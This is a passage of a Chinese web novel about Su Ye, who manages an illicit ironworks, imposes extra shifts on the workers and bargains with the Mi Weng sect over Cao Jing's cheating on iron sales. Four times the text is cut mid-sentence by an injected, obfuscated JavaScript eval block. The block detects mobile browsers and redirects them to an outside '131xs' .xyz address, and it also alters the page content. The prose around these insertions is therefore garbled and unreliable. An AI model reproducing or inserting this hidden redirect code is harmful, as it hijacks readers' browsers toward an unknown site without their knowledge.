赵二彻底被噎住了，心里那口气堵着，也蔫儿下去。 “你说你不在意这个，那你在意什么，我就不信，你这些日子替着哑沟谋划许多，没个贪图的？” “钱。” 赵二瞪了瞪眼睛，看向苏冶，“你说钱？” 苏冶点头：“日日在河边累得要死，我没心思花在这些面子功夫上，我同曹经明说过，我不似你，对他没什么忠心，也随时都有可能卖了他，唯独一件事情，到位了，我该做的一样不落。” 赵二：“钱？” 苏冶点头：“往后哑沟里的银子，我都有分成，而且将来，会越来越多，所以你最好收收那些无聊的念头，说到底，都是一条船上的蚂蚱，我好处多了，你也不会少。” 赵二听她这样说，面上不屑，心里却是有几分认同。 一同办事这好多次，他多少知道，眼前这女人不是个善茬，也十分顾及自个儿，时刻不想着为自己谋好处。 这种人，替自己想的太多，心里是个冷的，最好的办法就是利益收买，曹经定然也是看出了这些，才放心将些事情交到了她手上。 罢了，来日方长，他在苏冶这里吃过不少嘴上的亏，何必给自己找不痛快。 这样想着，回去的路上，赵二都没有说话。 —— 回到村里的第二日，天刚蒙蒙亮，苏冶便来了河边。 她到得太早，还没到规定换班的时候，炉子边上都是昨夜的人，一个个眼皮下泛着乌青，都是副没精打采的样子。 苏冶没同他们打招呼，只一人走到了河边，盘膝坐在错乱的石头上，望着不远处。 昨日赶路回来已是深夜，一番折腾下来，她睡了不到两个时辰，今日又是早起。 虽是这样，她面上却没一点疲惫，背挺得笔直。 炉子旁那些人瞧着她这副模样，都有些稀罕，这人以往最是个贪觉的，每每踩着点到，到了便张着嘴打哈欠，怎的今日瞧着精神头这般好。 约莫过了一炷香的功夫，河边陆续来了换班的人，一直等到这班人都换下来，今日的监工才姗姗来迟。 哑沟里的规矩，轮值得签单子，若是有人在监工的后面到，是要挨棒子的。 身后陆续有人同她招呼，苏冶不回应也不搭理，只一动不动坐河边发呆。 一直等到今日的监工到了，她脑子后面某跟神经似是被牵动，回身站了起来，同那人说道： “赵大娘呢？” —— “多加一班？” 赵玉芬看着眼前人，语气有些惊讶。 苏冶点头，“如今置了新炉，不同以往的容量，炭料和矿料都得加些，不然白花了银子。” 赵玉芬身体向后倚了倚，抬眼盯着她，默了半晌后，开口道： “当初置办炉子超了预算，扣你的分成，你是想从这些人身上榨回来？” 本想着苏冶会否认，却不想，她利落应道： “是。” 接着，她又说道： “但你说的这个‘榨’字不对，当初若不是我将这炉子搪好，这些人性命都悬着，况且如今这三座新炉，看火省力，人工少，那些人只用得着屁股一抬，往那一座，混着便是一日，如今叫他们多轮一班，看着累了些，实则同以前没甚差别。” 她话音落下后，赵玉芬没说话，只盯着她看了良久，而后饶有深意开口道： “你晓得你如今瞧起来像谁吗？” 苏冶顿了下后，开口问道：“你想说曹经？” 赵玉芬笑道：“你晓得。” 苏冶如今这副贪图利益却又要将话说的仿若自己吃亏的调性同曹经如出一辙。 瞧着赵玉芬脸上不甚好看的笑，苏冶语气带着几分不解：“说这些干甚，我今日找您，是想那会儿说的正事。” 言下之意，哑沟的股东，曹经的同伙，如今这点讽刺是何处来的。 赵玉芬听出了她的意思，回应道： “这事不成，几月前炉子出事，闹了人命，这些人心里积了怨，况且你置办了新炉之后，日夜不熄火，大把人昼夜颠倒，如今若是再加上一班，没那么容易。” 苏冶近前一步，开口道： “当初闹了人命，这些人扛着不吃饭，也不上工，表面上看，是我搪炉起火给他们吃了安心药，实则我是给了台阶，让他们有个理，好说服自个儿卖命，你信不信，若是没我，他们快饿死的时候，照样得服软。” 想着，她继续道： “这是三十人，不是三百人，翻不了天，你们也不是皇帝，体恤民情那套使在这里，没必要，棍棒刀剑架在眼前，只要死不了，没人吃不了苦，况且他们全手全脚，有吃有喝，一日还能睡上个把时辰，瞧瞧外面如今交战的地方，大把人饿着肚子，易子而食，哑沟里这些人好端端活在这里，除了没个身份盼头，哪样不好。 苏冶见赵玉芬不说话，继续道：“此事您这处过不去也没妨，我去找曹先生，看看他怎么想。” 说着，苏冶转身就要走。 “慢着。”赵玉芬叫住了她。 苏冶闻声回头。 赵玉芬道：“再等些时候，我托话给你。” 苏冶笑道：“好。” 正要走，忽的又想到了什么，对赵玉芬道：“还有件事，这事儿您若是能定下来，最好别同村里人说我今日来过您这处。” 赵玉芬听她这样说，语气不善道：“怎的，自己的主意，想让我当恶人。” 苏冶：“我最不怕的就是当恶人。” 赵玉芬：“那你是何意？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344197|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苏冶：“我同您不一样，那些人若是对您有怨气，顶多私下埋怨些，天高皇帝远，挨不着您。 “但我不一样，日日同他们在一处，还要他们照我的指示办事，若是对我有甚不满，自是要发泄在我身上，到时候不愿意听我的，说到底妨的是炉子的事情。” 这话不好听，却也是实话。 苏冶在这些人里本就没多少威信，如今若是传了出去，她方才说的，倒也没有言过其实。 “晓得了，你走吧。”赵玉芬道。 苏冶点了下头，利落转身离开。 如她说的，不能教别人知晓这事，如今要是离开太久，恐怕河边那些人会有些疑心。 赵玉芬看着她离去的背影，心里的疑云越来越重。 她第一次对苏冶有印象时，觉着这个姑娘本事大，有胆魄，关键是性子敞亮阔达。 一路走来，瞧她做的事情，也没同她当初的判断偏离多少。 炉子出事时救人，自己胳膊上留了疤。 跟曹经对着干，给自己院儿里人谋好处。 …… 桩桩件件，回想起来，似乎是曹经定下给她分成，替她摆了桌好酒后变了味儿。 那晚上她知晓，曹经欲收拢人心，摆了台子唱了那么一出戏，她同钟应心照不宣陪着他一道演，不想这丫头真入了戏。 说到底，这是件好事，如今这般情势，苏冶只会想着替他们多赚些银子，自己多分些。 但不知为何，瞧着这人变成如今这样，她总觉着心里隐隐有些失望。 想到此处，她心里泛起些讽意，嘲的是自己。 她想到了曹经当初同她说的—— 泥水里打滚了半生的人，莫不是心里还念着当菩萨，想着死了登极乐。 说到底，他们是一处的人。 照如今这般下去，怕是用不了多久，苏冶也会同她一般，手上都是洗不干净的泥点子。 —— 到了晚上，苏冶回到院里不久，来人聪的叫苦声便响了起来。 瞧见苏冶过来，他似看到了救星，急忙跑了过来。 “那赵老婆子同人传了话，明日开始，每日得多轮上一班。” 苏冶正欲开口，门外杨千和小白回来了。 这头，屋里睡觉的王喜也被吵醒了，打开了屋门。 苏冶瞧见王喜开门，转身道：“你睡着，怎么起了。”又对来人聪道：“你小些声。” 王喜打了个哈欠，“无妨，我也该起了，今日排晚上。” 一旁杨千也听着了来人聪方才的话，说道：“这事我也听说了，只是大伙儿如今骂得很，落不落得成还说不定，倒也不必太过忧心。 来人聪忿忿道：“不知是谁同曹经出的主意，得是抽干咱们的血。” 王喜：“定是姓曹的自己的意思，那个黑心东西，哪需要人出主意。” “我。” 很轻的一声冒了出来，打断了他们的对话。 王喜几人循声看过来，是苏冶。 她重复道： “我出的主意。” 33.信任 苏冶话音落下后，空气中瞬间鸦雀无声。 王喜几人面上神色都有些怔愣，没了方才的生机，像是被冷水浇了的炭。 小白倒是面色如常，大抵因为他平常就是这副没有表情的表情。 半晌后，王喜试探性地笑声打破了沉默，“这玩笑话说的。” 一旁来人聪没有同王喜一道笑，只看着苏冶问道：“真是你？” 苏冶再次点头。 末了，来人聪什么都没说，只深吸了一口气，转身大步进了屋子。 杨千见状，抬手拍了拍苏冶的肩，同小白跟着来人聪一起进去了。 “咱也进去吧，今儿晚上外头凉。”王喜对苏冶说道。 “好。”苏冶点头。 那晚上回去后，苏冶什么也没有说，王喜也没有问，诸事待她如往常，仿佛刚刚在院里什么都没有发生。 晚上躺在榻上时，不知为何，苏冶在一片模糊的睡意里看到了一个人——小翠。 那个与她没有多少交集、仅仅见过一面的姑娘却在离开后不止一次出现在她梦里。 她又想到了来人聪，自从上次苏冶一番话骂醒了他，他便再也没有提过小翠，仿佛这个人从来没有存在过，他继续按照自己从前的模样活着，那封血书似乎也没有出现过。 她还想到了王喜、杨千，还有小白，他们似乎都有些改变，又似乎什么都没变。 她试图去想这些问题，却发现自己想不清楚，索性放弃，阖上眼，让意识跟着夜色一起沉了下去。 —— 那日之后，如苏冶所料，村里众人怨声载道闹了几日后，便回到了正轨，服软接纳了这事，半月下来，一个个眼底的乌青越来越重，脚步也沉了些。 那晚后，来人聪似有意避着苏冶，不似从前，在路边看火，俩人偶尔有来有回说上几句，这些日子，除了些必要事情的交割，来人聪鲜少主动同苏冶说话。 俩人面上虽没闹出什么矛盾，周边的人多少也看得出些怪异。 孙满仓就问过一次来人聪——“你同那尊大佛有什么别扭？” 来人聪不耐烦甩开他，“干你的活吧，哪来那么多别扭，每日累得爷想死，没精气神说话罢了。” 孙满仓讪讪走开，也不好再问， 本以为这事就这样过去，但不知怎的，几日后，这些人中传出了一个说法。 不少人说，他们多轮一班的事情，是苏冶找了曹经，她早些时候在曹经面前脱了衣裳，才能同钟应一般，给他们当管事，俩人早就滚一张床单上去了，过不了多久，要把赵玉芬踢出去，苏冶怕是要当老板娘。 王喜将这事情告诉了苏冶，苏冶却不以为意，前世，同期很多人在专业成绩竞争不过她的时候，便会用这种手段攻诘，她早就见识过了。 况且这次的谣言，遍地狗血中有一件事情说对了——他们多轮一班的事情确实是她的主意。 一开始，大都是私下的难听话，久而久之，这事被搬上了台面。 就在几日后的早上，河边闹了点事情。 起因是早上负责矿料筛分的刘老二挑拣的原料有些问题，苏冶复检的时候指着那堆矿渣道： “这堆不行，粒度差得太大，重筛。” 刘老二听了这话却来了脾气，怒声道：“昨个晚上睡了屁大点觉，天刚亮就折腾人，这料子分得好好的，以往那天不是这样，你这娘儿门就是给爷找事。” 听他这样说，苏冶没搭理他，只从他身前绕了过去，继续检查下一堆矿料。 刘老二见状不死心，继续叫骂道：“瞧瞧，都瞧瞧，母|鸡戴顶冠子充人样呢。” 苏冶转头看了他一眼，面无表情道：“炉子等着加料，你要是现在还不动手把这些东西弄齐整了，等下投进去，里面火候不匀称，出了事，你是想少条胳膊还是腿。” 刘老二冷哼一声，“我今天就是少了胳膊缺了腿，也不给母|鸡当狗腿子。”说着，他放大了声音，继续吆喝道：谁不知道，有人给姓曹的吹了耳边风，才苦得咱们在此处受累，自个儿倒好，吃香的喝辣的，日子过的滋润……” 这话句句指向苏冶，说得难听且刺耳。 末了，苏冶看向站在不远处看热闹的监工，冷声道：“你那鞭子是摆设？耽搁了事情，要不要我请你们老大自己来平。” 那人本想继续看看热闹，听听刘老二的腌臜话，不想被苏冶说了一遭，面上也有些挂不住。 随即咳嗽几声，将腰间家伙抽了出来，边走边在地上起势，走到刘老二身边时，一鞭子抽在了他脊背上。 刘老二一阵嚎叫，衣服裂了口子，皮肉翻起，渗了血。 监工挥起来鞭子，似乎还想再来一下，好凑个完整的叉，不想苏冶这时走到了刘老二身边，伸出脚，狠狠踹了他一下。 “往后最好安分些，再生事，就不是鞭子这么简单。” 说着，苏冶对一旁的监工说道：“这人现下是个废物，也做不了什么，找俩人抬走吧，别躺这儿占地方。” 处理完这事后，苏冶转过身，继续检查地上筛出的料子和炉里的火候，对身后众人的眼神和议论声充耳不闻。 不想这日之后，曹经找了苏冶。 这次她到时，曹经桌上少见地没摆算盘，反倒是放了茶釜。 见苏冶进来，他拿起一旁的紫砂壶，茶倒好后，就着茶托推到了对面。 “坐。” 苏冶没客气，坐下后，拿起桌上的茶碗大口喝了下去。 一早上没怎么喝水，她是真渴了。 见苏冶放下了茶碗，曹经开口道：“今早河边的事情我都听人说了，你做得不错，该赏鞭子给这些人吃，只是还是轻了些，改日我叮嘱着些，你大可放心管着。” 苏冶对这事不置可否，只开口问道：“你该有半月没来村里，今日找我何事？” 见状，曹经也不再同她说客套话，开口道：“这月的铁料诸多事项都是吩咐赵二采买，照你先前的主意，这炉子运作快了许多，一眨眼又得采买，倒是同我先前算得有些出入。” 这对曹经来说是好事，说明炉子效率高了。 “照往日的惯例，该你同赵二一道去采买，只是他有些要紧事，原先定的时候也是月底回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349528|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，所以这次，得你自个儿跑一趟。” 苏冶抬眼，看向曹经，只见对面人脸上神色有些严肃。 他拿起桌上的单子，递给苏冶。 “矿料我定了地方，你去签单子便行，加溶和渗碳用料没所谓，你定着采买，其它该留心得的都记了上去，你脑子灵光，该晓得怎么办。” 苏冶接过他手上的单子，扫了一眼后，什么都没问，折好放进袖兜里，开口道： “什么时候走？” 曹经：“明日。” 苏冶：“好。” —— 翌日辰时，苏冶就坐着马车同车夫一道上了路。 这些经营材料的铺子不似饭馆茶肆，开门启户往往能早上半个时辰。 此次的车夫同上次是一人，苏冶和他约好，等在先前的地方，她一人去办事。 进城后，她先去了杨掌柜处，先前搪炉的用料，赵二便是带她来的这处。 想来曹经采购大头原料都是在这处，俩人也有些掣肘，安全起见，一条龙服务。 杨掌柜瞧见苏冶一人来，有些意外，想来曹经手下如今是有了新人，故而同苏冶说话也少了些虚与委蛇，照着以往的成例，报了价，很快便签好了单子。 从杨掌柜处离开后，苏冶转身朝街上四下打量一番，脚步加快，绕过一处街角后，进了一处破庙。 …… 这处庙位置偏，几年前便停了香火，没门板，只门框上挂了根红布条。 苏冶刚抬脚跨过门槛，就被一团东西绊住了脚。 “姐姐来了。” 低头看去，正是那日给她送东西的小乞丐，此刻正抱着苏冶的腿，肉乎乎的脸对着她笑。 苏冶伸手摸了下他的头，从口袋里掏出一把饴糖递给他。 “喏，上次说的，买糖给你吃。” 小乞丐眼睛霎的一亮，双手举着接过了苏冶手里一大把糖，也不抱着苏冶了，快步钻到一旁角落里剥糖纸。 “你今日运气好，师傅就在里面。” 苏冶朝着里间小偏殿走去，不忘跟他嘱咐：“少吃些，晚上牙疼睡不着可别记恨我。” “才不会呢。”小乞丐瘪嘴道。 进了里间，苏冶见着了小乞丐口中的“师傅。” “老马。” 被唤作“老马”的老乞丐正背对着她，面向着掉漆的棂格发呆。 听见了身后动静，老马转过身，屈膝盘腿坐在了地上的蒲草团上。 “这些日子酒喝得少？” 苏冶顺手拾起个蒲草团，坐到了他对面。 老马咳嗽俩声，“你这眼珠子什么做的，这都瞧得出来。” 苏冶：“你出门到大街上问问，半月不喝，是个人都能看出来。” 老马：“我就看不出来。” 苏冶：“你这处没镜子，我下次来给你带一个。” 老马：“可千万别，我最忌讳这东西，好好的人，自那上面一来，鬼似的。” 苏冶笑了，继续寒暄过后，苏冶问起了正事。 “米瓮的事情，可有着落了？” 34.反击 “本以为再见不到你人，正愁这东西没了主。” 说着，老马不知从怀里揣出一张麻纸递了过来。 苏冶接过，瞧见上面歪歪扭扭绘着些纹样，仔细些看，才能辨出是张地图。 “县里的？”苏冶抬眼问道。 老马点头，搓了搓手，“倒是没想到，这米贼落根落得如此之快，想着咱来阳也是块风水宝地，各路神佛都往这处钻。” “还有哪些佛？”苏冶道。 老马闻言伸手，朝着窗外某个方向微微指了一下。 苏冶顿了下后，恍然道： “北边儿，北境，司徒家？” 老马也没说个是否，只道：“来阳是个小地方，压不住这些大罗神仙喽。” 苏冶心里虽有些疑惑，却无意多问。 北境也好，萧家也罢，这些事情都离她太远，她不过是作个寻常百姓道听途说而已，眼下，自己有更要紧的事情得做。 她将手里的地图在膝上摊开，细细揣摩上面的每一个标记。 “那日朱长业的事情可都顺利？” 老马颔首，嘴角扬起一丝笑意，“你给的条子上都写得清楚，照你说的，那怂货一下子软了腿，乖乖将账簿交了出来。” 边说边模仿朱长业战战兢兢的模样，倒是有几分惟妙惟肖。 苏冶想起朱长业那双滴溜溜转的眼睛，笑道：“那人可不是个怂货。” 敢同曹经做那么久买卖，那人多半是顶着张窝囊脸，做尽了灭九族的勾当。 “罢了。”苏冶将那张图纸揉成了一团，递给老马，“烧掉吧。” “你都记住了？”老马有些意外 苏冶点头，她本就有过目不忘的本事，况且这东西看了有好一会儿。 老马捏着纸团，还是忍不住问道：“我知道你本事不小，若只是想要出逃，何必搞这些周折，有些人你惹不起。” 苏冶站起身，拍了拍身上沾到的杂草后，屋顶漏下的光在她发间跳跃，衬得她侧脸格外分明。 她朝门口走去，撂下句： “苦命，逃不掉。” 老马看着她的背影，想要叹口气，却卡在了嗓子眼。 瞧着这丫头，他总是叹不出气来，即便有气可叹，也是为自己，绝不是为她。 他同苏冶一年前相识。 那时侯正逢他的干儿子——小马，那个喜欢吃糖的小乞丐，因为偷糖被缠了去，闹了不少人围观，苏冶见着了，掏出几文钱，想要替他了了这事情，不想那店家那日心情不好，狮子大开口要苏冶多赔一番才肯了这事。 苏冶不是冤大头，自然不愿，却也没有收了钱走人，而是将这事儿管到了底。 她上前一步，凑到那店家耳边，嘀咕了几句，那店家脸色变了变，咳嗽几声，一把夺过她手上银子便转身进了店里，围观闲人也散了，这事便了了。 后来老马问过苏冶，那是为何要帮小马，苏冶说，她小时候也喜欢吃甜的，可惜家里光景不好，如今帮了小马，当是犒劳犒劳当年的自个儿。 那日临走时，苏冶从口袋里掏出几颗糖，送到小马手里。 “不得已还是别当贼了。” 就说了这么一句，她便转身离去，没了踪影。 不想没过多久，小马再次见到了苏冶，这次却是同老马一起。 彼时俩人坐在城门口乞讨，瞧见一年轻姑娘同守城的阍吏扯皮，似是缺个引子，不让过去。 小马一眼便认了出来那是苏冶，附在老马耳边说了几句，老马便起了身，笑嘻嘻走到城门边儿的相识身边，几句话便让苏冶放了行。 原来老马这乞丐不简单。 来阳城隍庙一带是乞丐、小贩等人的聚集地，老马算是个“活档案”，趁着身份便利，街头巷尾到官府内宅的各种消息通晓的不少，由此跟这些人换些乞讨的好地方。 那日他没看住小马，教他乱窜惹了事情，亏得苏冶在场，如今既见着了，也当还了这个人情，俩人也因此结了缘。 老马挺喜欢这姑娘，她不似寻常路人，嫌他一身糟污，瞧见了总要避得老远。 苏冶一月来趟县里，若能碰上他，能坐在一起说上好些话，渐渐混成了熟识。 不想几月前，不知怎的，老马再也不见苏冶来，本想着是到了秋收的农忙时候，村里事情多，得料理，他也没甚在意。 不想就在半月前，教小马碰着了，还留了字条，请他帮忙。 小马将那东西带回来，他看了眼，知晓她是碰上了难处，便照纸条上她写的，换上一身行头，去朱长业铺子诈来了账簿，还帮她探了条路，只等她来寻。 老马是个精明人，不该蹚的浑水不会蹚，但他信得过苏冶，哪怕就凭着苏冶愿意听他吹两三个时辰的牛的耐心，他也得帮这个忙。 人情这东西，似有些规矩，倒也是有些玄乎。 想着，他吆喝一声，将庙门口小马唤进来。 他嘴里正含着糖，落了一嘴哈喇子。 老马敲了下他的头。 “你个贪嘴的。” 那头老马话音落下，这头苏冶打了个喷嚏，嘴里的糖差点掉出来，心想那小庙位置有些阴，待久了再出来，可别给她整感冒。 她照着心里记下的路线和标记走，先是到了一处茶肆。 店里茶香袅袅，掌柜的正拨着算盘珠子，劈啪作响。 “三安瓜片。”苏冶同他说道。 掌柜抬起头，一脸不解，“小娘子说的是六安瓜片吧。” 苏冶摇头，“是三安瓜片，我知晓有个六安瓜片，我不要那个。” 掌柜的皱眉，“小店确是不曾有甚‘三安瓜片’，小娘子也莫要玩笑，到别处去寻吧。” 苏冶无赖道：“既开了门做生意，便没拒客的道理，我自是晓得你这里有，才来此处。” 她手指轻轻敲着柜台，目光扫过店内陈列的各色茶罐，就是不肯走。 俩人几个来回，掌柜的面上缠不过她，便进了里间，出来时，手里挂着个茶包，上面落着“三安瓜片”几个字，墨迹看着还未干。 “小娘子非要，这便是了。” 苏冶笑着接过去，“多谢掌柜的。” 有了这包不正经的三安瓜片，苏冶又跑了趟绸缎铺子。 厚着脸皮讨了点碎布后，她停在了了城南的一家小粮行门口。 这地方门面不大，门口挂着块牌，墨笔写着“丰庄”。 店主瞧着五十来岁，粗布短褂，正坐在柜台后拨弄算盘。 苏冶到的时候，他正起身验货，用木斗过了斤两，然后从抽屉里数铜钱递出去。 待他闲下后，苏冶上前，将手里的东西递上去。 “换您的米，可还行。” 这回，不似在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355792|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶肆和绸缎铺子，掌柜的利落应道： “行，怎么不行。” 说着便起身进了一处窄间。 片刻后，出来对苏冶道：“这米本该我替你盛，只是这会儿忙，我有个伙计，你进去等着，他来盛。” 苏冶点头，“您贵姓？” 掌柜的蹲下身翻东西，顺便说道：“辛。” 苏冶应下，抬脚进了铺子，走向他刚指的窄间。 到门口时，看着眼前有些发黄的门帘，她顿了顿，停了下脚步。 那日在村里的情形突然浮现在眼前，她心里升起一股不详的预感。 不，可能性应该不大，一般不会这么巧。 想着，她伸手揭开了门帘，走了进去。 恰在此时，背对着她的那个“伙计”转过了身。 苏冶看清他的样子后，愣了一下，随即反应过来，转身就要走。 “跑什么？” 那人叫住了他。 苏冶转过身无语道：“你还真是阴魂不散。” 得嘞，她的第六感还真有点东西。 揭开门帘时，苏冶想到了那日曹经从米瓮请来的仙师中有她的“亡夫”，想着今日该不会再遇，不想还真让她中了这个彩。 “开个玩笑。” 这地方小，苏冶挤着绕过他，寻找个小木墩坐了下来。 这里就这么一个能坐的东西，她坐了，李三自然只能站着。 他倒也不介意，向后退一步，微微仰靠在墙上。 “寻到了此处，僻野荒沟不待了？” 苏冶:“我今日来，倒不是为了这个。” 那日她借着施舍小马的由头，留了纸条给老马，是有两件事。 第一件，穿戴上米贼的行头将朱长业店里近半年进出货的账簿诈来。 第二件，替她探查米瓮的下落。 诈朱长业的话术都是苏冶定好的，老马只需登台将这出戏唱好便行。 至于米瓮的下落，老马倒是动用了自个儿不少的关系网。 米瓮说到底是个教派，到来阳县，吸收教徒是件要事，偏偏本地官府对这些米贼态度不明，加之根基未稳，尚不好大张旗鼓行事，面上总得让这些地头蛇好看些。 故而米瓮使了些门道，散些消息出去，少数人晓得投进来的法子，也不至于张扬了去。 只是来阳县虽算不上富庶，百姓个个倒也有固定的生计，日子过得安稳，好端端地谁去当土匪。 在古代，从某种程度上来说，非官方持械组织无论披着怎样的皮，本质都是土匪。 所以今日，她顺着这个门道找上时，不用排队便见到了米瓮负责招聘工作的人员。 “那是为了甚？”李三问道 那木墩子矮，苏冶坐下后海拔缩水，加之李三本就身量高，抬起头看他有些费力。 她索性站了起来，将李三上下打量了一眼，而后道： “这里你说了算？” 李三语气轻快道：“先说说。” “那不成。”苏冶摇头，“得跟你们这里做主的人说。” 李三面无表情道：“我就是。” 苏冶闻言，几分诧异看向他。 “你真是？” 他顿了下后，指着角落那几个装米的麻袋道： “这些，都我说了算。” “……” 35.报仇 “那恕我不能相告。”苏冶道。 李三似没有追问下去的意思，只道：“也好，你可以留着跟我们老大讲。” 苏冶眸光一凝：“你们老大在在何处？” “郢州。”李三吐出二字，声音平稳，如石子投湖。 她蓦地想起赵二提到过，米瓮是在郢州发迹，想来老巢也深植在那处。 但是…… “我眼下离不了来阳。”苏冶坦言道。 李三似是早有所料，淡淡道：“那便只能同我说了。” 苏冶思忖片刻后，说道：“可以，但有几件事情，我得同你问个明白。” 李三抬眼看向她，而后收回视线，颔首默许。 苏冶道：“你同曹经认识？” 地上不知何处来的狗尾巴草，李三弯腰捡起一根，拿在指尖把玩。 “他不认识我。” 苏冶追问道：“既不认识，那日为何请你到村里做法。” 草茎在李三指尖打了个圈。 “若是同我认识，那日在曹家村，为何没认出我。” 他这么说，苏冶倒是想了起来，她第一次见曹经那日，恰撞上李三回来，虽脸上抹着炭，但若相识，不会认不出来。 又想到进村那日李三戴着面具，想来曹经只知他是米瓮的人，并不与他相识。 “好，我再问你，你如今是米瓮的人，若是有人谋算着你们的不好，你们可会出手。” 苏冶如今有的，不过是一点情报，不在谈判之前将局面理清楚，绝不能轻易将筹码摆上桌。 李三默了半晌，神情悠然，似是盯着某处愣神，而后，他转头看向苏冶，缓缓开口道： “谋算我们的不好，除此以外，还有吗？” 苏冶不太明白他的意思，“这不够？” “我的意思是，”李三微微摇头，“你避重就轻，只说了坏处，没说这人带来的好处。” 这话落下，苏冶愣了一下，忍不住再次打量眼前的人。 往常她只觉得李三这人神秘，但如今，她觉得这人神神叨叨的皮囊下面，心眼子藏得不少。 同时，她也明白，没必要再同这个聪明人兜圈子。 于是，她开门见山道： “你知道我说的是曹经吧。” 本以为李三会同她故弄玄虚一回，不料他利落回应：“知道。” 话说到这份上，苏冶索性摊开。 “这么说，曹经确是在同你们做生意。” 苏冶这话是肯定的语气，见李三没有否认，她心里想的也八九不离十了。 从她到哑沟的第一天起，就在琢磨曹经这一套黑色买卖的产业链路，哑沟是生产方，那这些铁最后流向了何处。 在曹家村的时候，她曾经来县里做过不少调查，来阳县的冶铁生意基本已经形成了成熟的供应产销链，各家的市场份额经营范围也基本划定，大都来路清晰，曹经这批货，大抵没有挤入来阳县诸如农具家具等日常铁器的销售路子，那么用排除法，只剩下了一条路——兵器。 虽说如今天下分裂，但在豫州境内，兵器的形制规格必然是汝南郡定夺好的，由豫州的官窑分发，哪怕运输费用高些，路途远些，也不能将就了这事情。 这么下来，曹经这些东西卖给了谁，就有些门道了。 苏冶一开始自是想不到，但那回同赵二去春花镇，听到他说起米瓮，她心里便有了点苗头。、 直至那日晚上，他听到与赵二货物交易那人是李三，后来曹经带着他们来哑沟做法，两件事情串起来，基本可以确定，曹经在向米瓮兜售铁器。 米瓮这种组织，无论披怎样一张皮，说到底，武装是根基，想来在各地都有自己稳当些的供货路子。 哑沟这点产量自然是喂不下他们，索性曹经自己就是个黑的，互有掣肘，倒也是图个方便。 这些本没什么问题，只是…… “曹经捞你们的油水，你们不知道？” 说着，苏冶掏出先前准备好的账簿，递给李三。 李三伸手接过，翻开看了几页后，抬头看向苏冶。 苏冶明白他意思，解释道：“这是县里朱记铁器铺这半年的账本，你只须看，每个月都有个‘林先生’的记账，每月都有出铁，入的却不是银子，是斤两，块炼铁换二部操作法退过火的生铁。” “唯独这两月，数额变了，出的是块炼铁，入的却不是，你可知道为何？” 李三合上账本，问道：“为何？” 苏冶：“两月前，我替他们改了烧铁的法子，他们能炼出更高质量的铁，便以优换劣，掺杂低质的块炼铁卖给你们，以次充好，从中捞油水。” 她之所以能发现这点，全赖记性好。 当初在曹家村的时候，王喜替她找着卖她那些铁器的门路时，苏冶去过一次县里，为的是探探朱记铁器铺子和朱长业的虚实，故而对朱长业铺子里货物的品相有个把关。 那日，赵二运着码好的铁块，苏冶经过时，她一眼便瞧见了那是朱长业的货，从那时她便猜想，曹经的生意没那么简单。 后来又从王喜那里打听到曹经和朱长业那层关系，便印证了心里，便从朱长业那里诈来了账簿。 本想着是个把柄，能在米瓮这里给他使绊子，好借米瓮的力打他一把。 如今，瞧见李三的态度，她隐隐有了其它猜测。 “你们知道？” 李三抬眼看向她，淡淡道：“知道。” 苏冶微微蹙眉：“听说你们将那土财主的脑袋挂在了城楼上，怎的如今碰着诓你们的曹经，倒是变得慈眉善目。” 话说到这里，她想到了李三那会儿说的：她避重就轻，只讲了弊处。 “他有用。”李三淡淡道，指尖的狗尾巴草已经成了两截。 苏冶心下了然，曹经虽捞了不少油水，确是给了他们货源，所以他们愿意睁一只眼闭一只眼， 只是，她既然已经到了这里，便没了退路。 她看向李三，目光灼灼。 “如果我说，我能给你们更多好处呢？” —— 苏冶从丰庄粮行出来的时候，天已经快黑了，她一路朝着城南走去。 路边的摊贩陆续收摊，街边的铺子不少下了，摊子收了后，地上剩下不少的烂菜叶，路边几个乞丐见摊主离开，抓紧手里的破布，一拥而上，捡起那些包在布里，一溜烟儿便没了影，一切杂乱又有序的进行着，似是风平浪静。 到了地方同车夫会和后，苏冶乘着马车回了哑沟。 那车夫跟了她有几回了，姓张，瞧着是个性子内敛的人，平日在路上，鲜少与她或者赵二开口说话。 今日却罕见地同她搭起了话。 “姑娘今日来的比平日晚些。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 